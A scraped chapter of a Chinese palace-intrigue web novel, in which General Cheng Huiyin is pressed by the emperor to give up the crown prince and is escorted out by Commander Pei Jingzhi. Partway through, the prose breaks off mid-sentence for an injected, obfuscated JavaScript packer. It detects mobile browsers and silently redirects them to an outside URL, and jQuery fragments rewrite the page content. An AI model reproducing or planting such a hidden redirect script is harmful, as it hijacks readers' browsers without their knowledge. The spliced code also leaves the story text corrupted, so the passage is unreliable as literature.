默认冷灰
24号文字
方正启体

8. 捌

作者:开花番茄本书字数:K更新时间:
    风雪已歇的帝宫,在众臣悬悬而望的这几个时辰,终是迎来一抹红。残阳泣血照宫闱,烈焰倾泻于皑皑白雪,如同血溅千里。


    程家一案终有定音,却是以徐氏满门鲜血换来的安宁结局。


    寒风凛冽,如同利刃划过囚衣下道道伤口,可切肤之痛却不敌心中之寒。程徽音不知道该如何面对徐为民之死,她想不通,怎么会是徐为民?又怎么能是徐为民?徐大人与父亲生死同往、患难与共啊,焉能在背后党邪陷正?


    她回身望着这雄峙大殿,猝然心惊,惶怖顿生。难不成这庙堂权利之惑,当真惑得了正人君子的为官之节,为国之心吗?


    站在巍巍帝宫前,她俯瞰着皑皑长阶之上,众臣点点背影。一时间,天地之大,她竟生出一种无地容身的孤独感。


    黄檀木的拐杖砸在地板上,傅岩松缓缓踱步,念叨着,“到底春天要来了,春风入座,程将军莺柯之喜,当与函紫气俱来矣。”


    程徽音站定,躬身行礼,“那徽音便借阁老之言,若真有那莺迁之日,徽音定不忘阁老今日镣铐之恩。”


    傅岩松闻之不怒反笑,“江清河浊,自有公晓。程将军,又何必这般动怒呢?”


    衣袖下的手蓦地捏紧,程徽音敛神,音色沉沉,“视数万英灵英名如棋子玩物,视天子君威为儿戏。如此为臣之道,徽音今日领教了。”


    贺天成出言制止,“程将军,可以放言,莫要放肆!”


    赵歧山紧随其后,横了一眼程徽音,“贺大人,你我朝堂老人,怎的还与这黄毛丫头置上气了?毋伤心情为要,赵某已在府上略备薄酒,恭请各位大人移步。”


    一行人熙攘离去,贺天成沉着脸,深吸了一口气,“阁老,您今日就放任程家翻身,来日若是东宫即位,岂非又多了条臂膀?”


    傅岩松受着众人拥簇,“先皇后之事,可谓龙之逆鳞。如今圣心已动,又怎会轻易消解?尔等只管坐着观戏便罢了。”


    程徽音望着这一行人的背影,时至今日,她才对阁老之势有所感悟。朝堂艰难险阻,纵使圣意回转,明绪可继承大统,恐这日后,也是处处被人掣肘。


    残阳已落,提着长杆灯笼的内侍碎步匆匆,擦肩而过,星火沿着长阶一路亮到她眼前。思绪万千,她缓缓挪着步往回走。


    “程将军留步,陛下宣将军觐见。”身后的声音匆匆,来人是一位内侍。


    程徽音顾不得多想,这便随内侍入了庑殿,穿过层层房间,最后内侍的脚步停在一处屏风后。还未等到她说话,便听到了太子的声音。


    “父皇!赵歧山等徒虚伪逢迎,刑官屈膝豪门不遵法度,深文巧诋陷人于罪。望父皇明鉴,当严惩佞臣以正国风!”


    他的声音如裂石流云,即便看不见其神,她也能想到他的从容自若。


    兴宗帝许久未开口,直至长长一声叹息,而后便是阵阵咳声,“子衡啊,你与朕素来政见不同,今日言至于此,朕倒想问问你。若是你为帝,该如何用人治世?”


    久不闻父皇唤小字,忽而闻之,太子的手颤了一下,而后目光震震,缓缓抬头。只见兴宗帝朝着他招了招手。都说最是无情帝王家,这大概是自母后过世,父皇第一次主动与他亲近。


    太子猛地才意识到,天子虽为君,亦是父也。他低头缓缓踱步而上,握住了那只满是皱纹的手,“回父皇,儿臣当用贤、用明、用清。”


    “那何谓贤、明、清?”兴宗帝拍了拍他的手。


    “为人贤良、为官开明,为臣清正。”太子缓缓开口。


    “故而,你对朕重用傅阁老而不齿。”兴宗帝面带微笑,看向太子,“世人皆言长江水清,黄河水浊。然黄河之源,岂非清乎?”


    “前有太祖谕臣,构大厦者,必资众材。为治者,亦需群才。然材有善恶,匠有能否。善匠斫之,邪木亦为良器;庸工执之,美材反成朽株。”


    太子不解,“可太祖所用之佞臣终是乱政。”


    “乱政,便除!”兴宗帝忽而厉声,“明主之使佞也,犹养恶木以蔽盗踪,蓄豺狼以逐群畜。唯有贤佞相与悖谬,君者以毁誉赏罚平衡,方能使权势不受威胁。”


    兴宗帝顿了顿,声色俱缓,“子衡啊,普天之下莫非王土,既为一朝之国君,身上担着的是九州万方,慎毋察察而遗昭昭。你当知不谋万世者,不足谋一时。不谋全局者,不足谋一域。”


    太子深吸一口气,点了点头,“儿臣知晓了。”


    程徽音在屏风后听得真切,圣意似有回转,可不知为何,她的心中却越发打起鼓来。直至兴宗帝话锋一转。


    “帝王之心,绝非纯净之心,当能藏污纳垢。唯有万物无足以扰心,如静水。方可为天地之鉴,万物之镜也。”兴宗帝深吸一口气。


    “朕若退位,无论是你还是宣王登基,面对阁老这只秃鹫,尔等皆为刚破壳的雏鹰,想要铲除,绝非一日之功。”


    兴宗帝目光深邃,声音沉沉反问道:“若是你,你可知该如何做?”


    谢明绪退于殿前,掀起袍角,跪拜曰:“请父皇赐教。”


    “以利相维,以害相制。”兴宗帝起身,将谢明绪扶了起来,“害,你已知。利呢,可曾想过?”太子摇了摇头,兴宗帝笑了出来,“当然是盟以婚约,永缔同心。朕可下旨,将阁老的女儿,许你为后。”


    咚——


    闻言,谢明绪双膝跪地,额头重重砸在地上,音色急切,“父皇!儿臣心意,父皇当知…怎可娶她人为妻。何况儿臣早已许以徽音诺言,若是不能对一人守信,又当何以许国?儿臣还清父皇收回成名。”


    兴宗帝难得没有发怒,只是语重心长,“若是皇位与程家女,只可选其一,你又当如何呢?”他望着眼前戴冠的儿子,缓缓伸出手,抚了抚他的发顶,唉声长叹。


    “子衡啊,历来君王称孤道寡并非虚言,在这龙椅上坐一日,一日便如临渊驭朽索。夙夜难寐,心力交瘁,亦无人可诉衷肠。更遑论庙堂利害当前,从心而择。若朕有的选,朕何尝不愿生于寻常巷陌啊。”


    立崟巅而临万仞,为世俗皇权所羁绊之君臣、之父子,有此舐犊之一瞬,殊为难得。太子方欲开口,终是踟蹰而止。


    太子退了,他的脚步越来越远。内侍附耳轻声,“程将军,请。”


    程徽音随着内侍绕过屏风,穿过香炉缕缕烟雾,跪在了适才太子所跪之位。君臣皆未开口,庑殿内,一时静极,帷幕低垂,唯闻檐铃风铎,偶作清响。


    “太子敦睦情深,笃义尚信。可重情重义能为良臣,却难为明君。执掌国家公器,统御四海,当大仁不仁。程卿听朕今日这番话,可算在理?”兴宗帝破寂而发。


    程徽音垂首淡然,没有回答,反而直言道:“请陛下削臣职,收臣兵。微臣愿挂冠而去,解甲归田。”


    随即,兴宗帝畅怀大笑,“程卿方脱囚衣,朕已蒙恶名。若是再有功不赏,驱卿归田,天下谓朕何啊?”兴宗帝忽而勃然,“程卿,莫非恃功而逼宫?”


    顷刻之间,温言倏收,霜刃乍现。


    面对雷霆破柱,程徽音自始颜容若平,“臣不敢。”


    闻言,兴宗帝长泄一口气,眼前之人,虽纤若蒲柳。可这叱咤风云之威于她身上,便如怒涛拍絮,力尽而势消。忽而,他又忆及纾儿长跪之影,隔世如晤,怆然神伤。


    半晌,兴宗帝才又开口,“卿本鹰扬之将,何苦自剪羽翼,为情爱而困守深宫,为一人而弃万世,这当真是你心中所想所愿?”


    过往随父兄驰骋疆场,卷刃霜峰,一幕幕如风袭来。顿时素手隐颤,程徽音心头陡紧,胸中那一字“是”哽咽在喉,声为气夺。


    兴宗帝见程徽音沉默良久,声渐怆然,“昔日朕与先皇后,又何尝不是如此?即便鸾凤强合,赤绳强系,不还是镜破钗分?朕今日棒打鸳鸯,实免子衡反为情所累,亦使卿免步先皇后覆辙。此心…卿可明白?”


    帝王谆谆之语如心涛拍岸,终化默然,程徽音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505307|170455||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    别无选择,惟有叩首谢恩。


    兴宗帝摆了摆手,“景之,送程将军退下罢。”


    朱墙夹道,青砖漫地。近来风刀霜剑严相逼,罗衣尽染血尘,本以为百忧攻心,悲至深处,便是无泣可出了。


    可刚刚听闻帝王那番话,竟仍觉心头刀痕新裂。程徽音步履沉沉,望着路边铜鹤衔灯,风过耳畔,声似呜咽。


    顿时,只觉万语成冰,唯余一句:堪破三春景,难逃一寸衷。


    心念至此,万念俱灰。膝盖一软,便踉跄倒去。忽焉之间,一只手扶住了她的臂弯。碧色袖口衬得手指修长如玉圭,只是不知何故,腕间素纱缠绕,血痕犹渗。


    “程将军…”


    裴景之见程徽音眼神寂如古井,腹稿百转,最终吐出唇齿的也不过她的名字。


    听见自己的名字,程徽音眼睫微颤,眸光渐凝,方知自己身在何处,这才意识到失了礼数,仓促回应,“近来承蒙督主多番顾垂,此情如沐春阳,徽音感激不尽。”


    程家一案落幕,见她安然身退,心中释然。庙堂蹉跎数载,与她始得闲叙片刻,积郁多年的情感如洪溃堤。心声涛涛,哽于喉间。


    他不敢进一步,亦不能进一步。终是默然退三步,袖手而立——恰似昔年朱栏畔,隔花相望之时。


    “举手之劳,何足挂齿。”


    月下双影渐长,程徽音沉吟良久,“督主屡施援手,徽音本不当复有所请。然傅溪亭与我刎颈之交,断无害我之理,伏惟督主明鉴,早还其清白。”


    “程将军不必担心,傅公子已于今日蒙释,此刻当已安抵府宅。另锦衣卫指挥使陈瑜滥杀无辜,枉顾律法,现已械送刑部,听候审讯。”裴景之声音徐徐。


    昔日,程徽音镣铐加身,陈瑜方可罔顾圣旨一决程家之生死。而今囹圄易主,俯仰之间,想到程氏满门血泪,心中有了片息之慰,点了点头,沉默未语。


    冬夜寂寥,寒月如珪。履痕浅印,若即若离。枯枝横斜处,偶有碎雪坠襟,而二人肩隔三寸。


    这分明不过一条寻常夹道,偏裴景之走的一步一牵魂,情难自抑甚而生出贪念——若脚下之甬道无尽,若更漏永歇,纵使万劫不复他亦甘之如饴。


    “裴督主,近些时日与督主相处渐多。不知为何,竟萌生了一种可笑的想法。你我,是否曾经相识?”恰逢朔风穿林,惊起落花簌簌,程徽音驻足仰首。


    裴景之望着她额前发丝沾了红梅,惟觉掌心发烫,徐抬手欲拂落花。忽有风过,花自零落,他的手遂凝于半空,终复敛袖而归。


    他垂首,四目相对,望着她的眸光如同漫天星子坠落,心神俱震,才知是心底惊雷滚过。


    程徽音抬着头,明明眼前之人被世所惮,天下怖之。可当他垂眸,眼中水雾氤氲,所映着自己的影子如同明月——方觉之前看此人如雾中深潭,所见所识或许不过是众口铄金,未及其真万分之一。


    “徽音!”一声熟悉的轻唤随风而至,眼睫之上凝露坠。她回首时,檐铃作响,墨色蟒袍映入眼帘,太子负手立于朱门前,宫灯将他的影子拉得极长。


    恰似那年春深,青衫少年立于杏花疏影之间,伸手扶起她,指尖温度灼穿这十数年寒暑。


    待她再回首,见裴景之衣袂翻飞,俯身行礼。“程将军,宫门已至,裴某便不再相送了。”


    “深恩难谢,徽音铭记于心。倘若他日有徽音效力之处,但凭督主差遣。”程徽音回礼,徐启唇齿。


    裴景之迎着太子幽邃深重的一眼,遥遥一拜。玄铁宫门訇然闭合,其声如雷碾碎所有未竟之言。


    朱门深似渊,咫尺成天涯。


    我不过偶施援手,阿音,你岂知,我每至悬崖,皆见你铠甲曳光而来。每临深渊,必得你袖底清风相托。


    无人回应,惟觉碎琼乱玉拂过眉睫,转瞬成珠。


    阿音,你不知,你早已救我于千千万万次。


    他抬头而望,方知是檐角新雪被风惊落。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)